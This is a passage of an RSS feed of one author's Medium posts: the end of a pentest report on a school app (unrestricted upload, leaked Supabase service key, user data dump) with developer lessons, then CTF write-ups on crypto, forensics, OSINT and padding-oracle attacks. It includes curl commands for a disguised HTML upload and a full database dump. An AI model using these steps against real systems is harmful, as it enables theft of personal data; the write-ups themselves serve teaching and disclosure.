UUIDs with no limit:</p><p>```json</p><p>{</p><p>“leaderboard”: [</p><p>{ “user_id”: “1a744116-…”, “total_points_earned”: 1250, “level”: 3 },</p><p>{ “user_id”: “19ffd2d8-…”, “total_points_earned”: 174, “level”: 1 },</p><p>…</p><p>],</p><p>“total”: 5</p><p>}</p><p>```</p><p>Combined with the leaked Supabase service key (found in `.env`), these UUIDs can be used to query the database directly and extract full PII for every user: name, email, phone number, school, grade.</p><p>— -</p><p><strong>## Finding 5 — Unrestricted File Upload (Critical)</strong></p><p>The avatar upload endpoint accepts any file type. By setting `Content-Type: image/png` while uploading an HTML file, the server accepted it without validation:</p><p>```bash</p><p>curl -X POST <a href="http://server/api/v1/profile/avatar">http://server/api/v1/profile/avatar</a> \</p><p>-H “Authorization: Bearer &lt;student_token&gt;” \</p><p>-F “avatar=@malicious.html;type=image/png”</p><p>```</p><p><strong>**Result:**</strong> File stored in Supabase Storage and publicly accessible at a CDN URL.</p><p>— -</p><p><strong>## Finding 6 — Service Key in .env (High)</strong></p><p>The `.env` file contains the Supabase `service_role` key — a master key that bypasses all Row Level Security policies. With this key, the entire database can be read or modified via the Supabase REST API:</p><p>```bash</p><p>curl “https://&lt;project&gt;.supabase.co/rest/v1/users?select=*” \</p><p>-H “Authorization: Bearer &lt;service_key&gt;” \</p><p>-H “apikey: &lt;service_key&gt;”</p><p>```</p><p><strong>**Result:**</strong> Full dump of all user records including emails, phone numbers, and FCM tokens.</p><p>— -</p><p><strong>## Impact Summary</strong></p><p>Starting from a single student account, in ~4 hours:</p><p>| What | Result |</p><p>| — — — | — — — — |</p><p>| Users enumerated | 5 (all users in system) |</p><p>| Emails extracted | 5 |</p><p>| Phone numbers extracted | 4 |</p><p>| FCM tokens harvested | 3 |</p><p>| Points injected (own account) | 165,272 |</p><p>| Fake notifications sent | 5 (one per user) |</p><p>| Files uploaded to CDN | 2 (HTML + SVG) |</p><p><strong>## Proof of Concept</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*my1QqhkUBDlGKYY9PXEPEw.png" /></figure><p>— -</p><p><strong>## Key Lessons for Developers</strong></p><p>1. <strong>**Always add authorization middleware**</strong> — don’t leave TODO comments in production code</p><p>2. <strong>**Never return sensitive tokens**</strong> (FCM, API keys) in API responses</p><p>3. <strong>**Validate file content, not just Content-Type**</strong> — use magic byte detection</p><p>4. <strong>**Enforce `user_id` ownership**</strong> — if a user passes a `user_id`, verify it’s theirs</p><p>5. <strong>**Rotate secrets immediately**</strong> if they appear in any file that could be accessed</p><p>6. <strong>**The leaderboard is a user enumeration oracle**</strong> — limit what it returns</p><p>— -</p><p><strong>## Responsible Disclosure</strong></p><p>All findings were reported to the development team with a full remediation checklist. No data was shared externally. The team has been given a 30-day remediation window before any public disclosure.</p><p>— -</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd7c9ee7e1ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ ITI CTF — Cyber Champions 2026]]></title>
            <link>https://medium.com/@salahezzat120/iti-ctf-cyber-champions-2026-b668e8d3f234?source=rss-8d1d62f60b6a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b668e8d3f234</guid>
            <dc:creator><![CDATA[Sklans]]></dc:creator>
            <pubDate>Sat, 07 Feb 2026 17:59:09 GMT</pubDate>
            <atom:updated>2026-02-07T17:59:09.759Z</atom:updated>
            <content:encoded><![CDATA[<h3>📝 ITI CTF — Cyber Champions 2026</h3><h3>Cryptography &amp; Forensics Write-Ups</h3><p><strong>Team:</strong> Salah, @Ziad, @Mohamed<br> <strong>Organizer:</strong> ITI × ZINAD IT<br> <strong>Location:</strong> New Administrative Capital, Egypt 🇪🇬</p><h3>🔐 Challenge 1: Secret Keeper (XOR Cipher)</h3><p><strong>Category:</strong> Cryptography<br> <strong>Difficulty:</strong> Easy</p><h3>Description</h3><p>A simple XOR-based encryption where the key was lost. Both plaintext and ciphertext were provided.</p><h3>Approach</h3><p>This was a <strong>known-plaintext attack</strong> on an XOR cipher:</p><ul><li>Base64-decode the ciphertext</li><li>XOR plaintext bytes with ciphertext bytes to recover the key</li></ul><h3>Result</h3><p>Successfully recovered the encryption key and extracted the flag.</p><p>🏁 <strong>Flag:</strong><br> ZiChamp{x0r_kn0wn_pl41nt3xt_4tt4ck}</p><h3>🔐 Challenge 2: TextMixer (Permutation Cipher)</h3><p><strong>Category:</strong> Cryptography<br> <strong>Difficulty:</strong> Easy</p><h3>Description</h3><p>A text-shuffling algorithm using a secret permutation. Two known input/output pairs were provided along with a mixed flag.</p><h3>Approach</h3><ul><li>Derived the permutation mapping from known pairs</li><li>Built the inverse permutation</li><li>Applied it to the mixed flag to recover the original text</li></ul><h3>Result</h3><p>The permutation was reversed, revealing the flag.</p><p>🏁 <strong>Flag:</strong><br> ZiChamp{p3rmut4t1on_s0lv3r}</p><h3>🔐 Challenge 3: PrimeTime (RSA)</h3><p><strong>Category:</strong> Cryptography<br> <strong>Difficulty:</strong> Easy</p><h3>Description</h3><p>An RSA challenge where one prime factor (q) of the modulus was leaked.</p><h3>Approach</h3><p>With one prime known:</p><ul><li>Compute the second prime p</li><li>Calculate φ(n)</li><li>Derive private key d</li><li>Decrypt the ciphertext</li></ul><h3>Result</h3><p>Straightforward RSA break due to leaked prime.</p><p>🏁 <strong>Flag:</strong><br> ZiChamp{rsa_w1th_l34k3d_pr1m3_15_34sy}</p><h3>🔐 Challenge 4: PowerDHCaptured (Diffie-Hellman)</h3><p><strong>Category:</strong> Cryptography<br> <strong>Difficulty:</strong> Medium</p><h3>Description</h3><p>A modified Diffie-Hellman protocol using a weak modulus (2^258).</p><h3>Vulnerability</h3><ul><li>Modulus is a power of 2</li><li>Generator is not a primitive root</li><li>Discrete log becomes solvable due to group structure</li></ul><h3>Approach</h3><ul><li>Recovered private key using subgroup weaknesses</li><li>Reconstructed shared secret</li><li>Derived encryption key via SHA-256</li><li>XOR-decrypted the flag</li></ul><h3>Result</h3><p>Protocol weakness fully exploited.</p><p>🏁 <strong>Flag:</strong><br> ZiChamp{p0hl1g_h3llm4n_br34ks_w34k_m0dh}</p><h3>🕵️ Challenge 5: Up (Windows Registry Forensics)</h3><p><strong>Category:</strong> Forensics<br> <strong>Difficulty:</strong> Medium</p><h3>Description</h3><p>Analyze a compromised Windows registry export to identify a malicious persistence mechanism.</p><h3>Findings</h3><ul><li>Suspicious service entry located in SYSTEM hive</li><li>Malicious binary:</li><li>\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Task\SenseTask.exe1</li><li>Fake Windows Defender service</li><li>Executable stored in a user-writable directory</li><li>Created using sc.exe</li></ul><h3>Status</h3><p>🔍 <strong>Analysis ongoing</strong> — tracking service name and registry values for final flag extraction.</p><h3>✅ Summary</h3><p>This CTF provided strong hands-on exposure to:</p><ul><li>Cryptographic weaknesses</li><li>Real-world protocol design flaws</li><li>Windows persistence &amp; registry forensics</li></ul><p>Huge thanks to <strong>ITI</strong> and <strong>ZINAD IT</strong> for a well-designed competition, and great teamwork with <strong>@Ziad</strong> and <strong>@Mohamed</strong> 💪</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b668e8d3f234" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solving CTF Challenges: Web Exploitation, OSINT, and Padding Oracle Attacks]]></title>
            <link>https://medium.com/@salahezzat120/solving-ctf-challenges-web-exploitation-osint-and-padding-oracle-attacks-ececc676cabe?source=rss-8d1d62f60b6a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ececc676cabe</guid>
            <dc:creator><![CDATA[Sklans]]></dc:creator>
            <pubDate>Fri, 30 Jan 2026 23:34:37 GMT</pubDate>
            <atom:updated>2026-01-30T23:34:37.643Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-RXsiWeKavQivY7SabvMg.png" /></figure><p>Capture The Flag (CTF) challenges are one of the best ways to sharpen practical cybersecurity skills. They don’t just test tools or theory — they force you to adapt, reason under constraints, and think like both an attacker and a defender.</p><p>In this article, I’ll walk through <strong>three CTF challenges</strong> I recently solved, covering:</p><ul><li>Web Security</li><li>OSINT / Digital Forensics</li><li>Cryptography (Padding Oracle)</li></ul><p>Each challenge required a different mindset, but all shared one thing in common: <strong>the solution was hidden in the details</strong>.</p><h3>Challenge 1: Click me, heh (Web Security)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJk1YHYeRnSGRlz93axDtA.png" /></figure><h3>Challenge Overview</h3><ul><li><strong>Category:</strong> Web Security</li><li><strong>Target:</strong><br> <a href="http://cdcomeg23g7mi8v4kj6zqroxi6v9ymdvwg8q7h1z5-web.cybertalentslabs.com/">http://cdcomeg23g7mi8v4kj6zqroxi6v9ymdvwg8q7h1z5-web.cybertalentslabs.com</a></li><li><strong>Hint:</strong><br> <em>“It’s all about the touch. You have to have the right touch.”</em></li></ul><p><strong>Goal:</strong><br> Retrieve the hidden flag.</p><h3>Reconnaissance</h3><p>Opening the website revealed a very minimal interface:</p><ul><li>A blue background</li><li>A single <strong>“Click Me”</strong> button</li></ul><p>Clicking the button redirected the browser to a random-looking URL such as:</p><pre>/597e098a9d8b...</pre><p>However, the page content itself remained unchanged.</p><p>This behavior strongly suggested a <strong>crawler-based challenge</strong>, where the flag was likely located at the end of a long chain of dynamically generated links.</p><h3>Automation Attempts and Roadblocks</h3><p>To avoid manually clicking hundreds of times, I wrote a Python crawler using requests and BeautifulSoup.</p><p><strong>Attempt 1 — Default User-Agent</strong></p><ul><li>Result: infinite loops and frequent 404 errors</li></ul><p><strong>Attempt 2 — Android User-Agent</strong></p><ul><li>Interpreting <em>“touch”</em> as mobile-related</li><li>Result: consistent 404 Not Found</li></ul><p>At this point, it became clear that the server was <strong>actively filtering requests based on the User-Agent</strong>.</p><h3>Breakthrough: iOS User-Agent</h3><p>Re-reading the hint more carefully, I realized that <em>“touch”</em> might refer specifically to <strong>iOS devices</strong>, not mobile devices in general.</p><p>After switching to an <strong>iPhone User-Agent</strong>, the behavior changed completely:</p><ul><li>Pages loaded correctly</li><li>No infinite loops</li><li>Links progressed normally</li></ul><p>The crawler successfully navigated <strong>~1000 pages</strong>, eventually reaching a page containing the flag directly in the HTML body.</p><h3>Key Lesson</h3><p>Sometimes the vulnerability isn’t complex code — it’s <strong>assumptions about clients</strong>.<br> User-Agent manipulation can be just as powerful as traditional exploits.</p><h3>Challenge 2: The Criminal Files (OSINT / Forensics)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Y79b54EnMrEX7GftouyGA.png" /></figure><h3>Challenge Overview</h3><ul><li><strong>Category:</strong> OSINT / Forensics</li><li><strong>Data Sources:</strong></li><li>BirdyChat</li><li>FaceLook</li><li>InstaPict</li><li><strong>Hint:</strong><br> <em>“The attacker is a devoted fan of a famous comedy show.”</em></li><li><strong>Goal:</strong><br> Identify the attacker’s email address.</li></ul><h3>Cross-Platform Correlation</h3><p>The first step was to identify usernames that appeared across <strong>all three datasets</strong>.</p><pre>common_users = set(birdy_users) &amp; set(facelook_users) &amp; set(instapict_users)</pre><p>This produced 37 results, but most were generic accounts like admin or test.</p><h3>Pattern Recognition</h3><p>After manually inspecting the remaining accounts, three usernames stood out:</p><p>UsernamePlatformPatternjoey_appleFaceLookCharacter + Fruitmonica_bananaInstaPictCharacter + Fruitphoebe_cherryBirdyChatCharacter + Fruit</p><p>The characters — Joey, Monica, and Phoebe — are all from the TV show <strong>Friends</strong>.</p><p>Even more interesting, the fruits followed an <strong>alphabetical sequence</strong>:</p><ul><li>Apple (A)</li><li>Banana (B)</li><li>Cherry ©</li></ul><h3>Logical Deduction</h3><p>The next step in the pattern should be:</p><ul><li>A remaining Friends character</li><li>A fruit starting with <strong>D</strong></li></ul><p>This led to a perfect match:</p><blockquote>“The One with Rachel’s Date”<em> — a Friends episode</em></blockquote><ul><li><strong>Character:</strong> Rachel</li><li><strong>Fruit:</strong> Date</li></ul><h3>Final Result</h3><p>The attacker’s email address was:</p><pre>rachel_date@gmail.com</pre><h3>Key Lesson</h3><p>OSINT challenges reward <strong>human thinking</strong> more than automation. Cultural references, habits, and patterns often reveal more than raw data.</p><h3>Challenge 3: BadPad (Cryptography)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*BEjtvXoLAqWoTWryCoyYEg.png" /></figure><h3>Challenge Overview</h3><ul><li><strong>Category:</strong> Cryptography</li><li><strong>Target:</strong> 54.183.65.150:1337</li><li><strong>Service:</strong> CPaaS — <em>Check Padding as a Service</em></li><li><strong>Goal:</strong> Decrypt the ciphertext and retrieve the flag</li></ul><h3>Padding Oracle Vulnerability</h3><p>The service accepted a hex-encoded ciphertext and returned:</p><ul><li><strong>Padding Valid</strong></li><li><strong>Padding Invalid</strong></li></ul><p>This response difference confirmed a classic <strong>Padding Oracle vulnerability</strong>, allowing decryption without knowing the encryption key.</p><h3>The Real Challenge: Key Rotation</h3><p>The service introduced a critical constraint:</p><ul><li>A <strong>new key is generated per connection</strong></li><li>Ciphertexts from one connection are invalid in another</li><li>Reconnecting resets the cryptographic context</li></ul><p>This meant:</p><ul><li>❌ No reconnecting</li><li>❌ No parallel connections</li><li>❌ One session only</li></ul><p>The entire attack had to succeed over <strong>a single TCP connection</strong>.</p><h3>Why a Naive Attack Fails</h3><p>A standard padding oracle attack:</p><ul><li>Requires up to 256 guesses per byte</li><li>Waits for a response after each guess</li><li>Is too slow over real network latency</li></ul><p>The challenge was no longer cryptographic — it was <strong>engineering</strong>.</p><h3>Pipelined Padding Oracle Attack</h3><p>To solve this, I implemented a <strong>pipelined oracle attack</strong> over raw TCP:</p><ul><li>Generate multiple guesses at once</li><li>Send them in batches using sendall()</li><li>Parse the continuous response stream</li><li>Match each response to its corresponding request</li></ul><p>This reduced round-trip delays and allowed the full attack to complete within a single session.</p><h3>Result</h3><p>The ciphertext was successfully decrypted byte-by-byte, revealing the flag:</p><pre>FLAG{p4dd1ng_0r4cl3s_4r3_cl4ss1c_f0r_4_r34s0n}</pre><h3>Key Lesson</h3><p>Real-world exploitation often fails not because the attack is wrong, but because it’s <strong>too slow or poorly adapted to constraints</strong>. Understanding protocols and network behavior is just as important as cryptographic knowledge.</p><h3>Final Thoughts</h3><p>Across all three challenges, the biggest lessons were clear:</p><ul><li>Hints matter more than brute force</li><li>Automation works best when guided by logic</li><li>Exploitation is about understanding <strong>assumptions, behavior, and constraints</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*aLgqw1DwuvWAyPiZHTaIzA.png" /></figure><p>CTFs are not just games — they’re controlled environments that teach how real attacks succeed or fail in practice.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ececc676cabe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>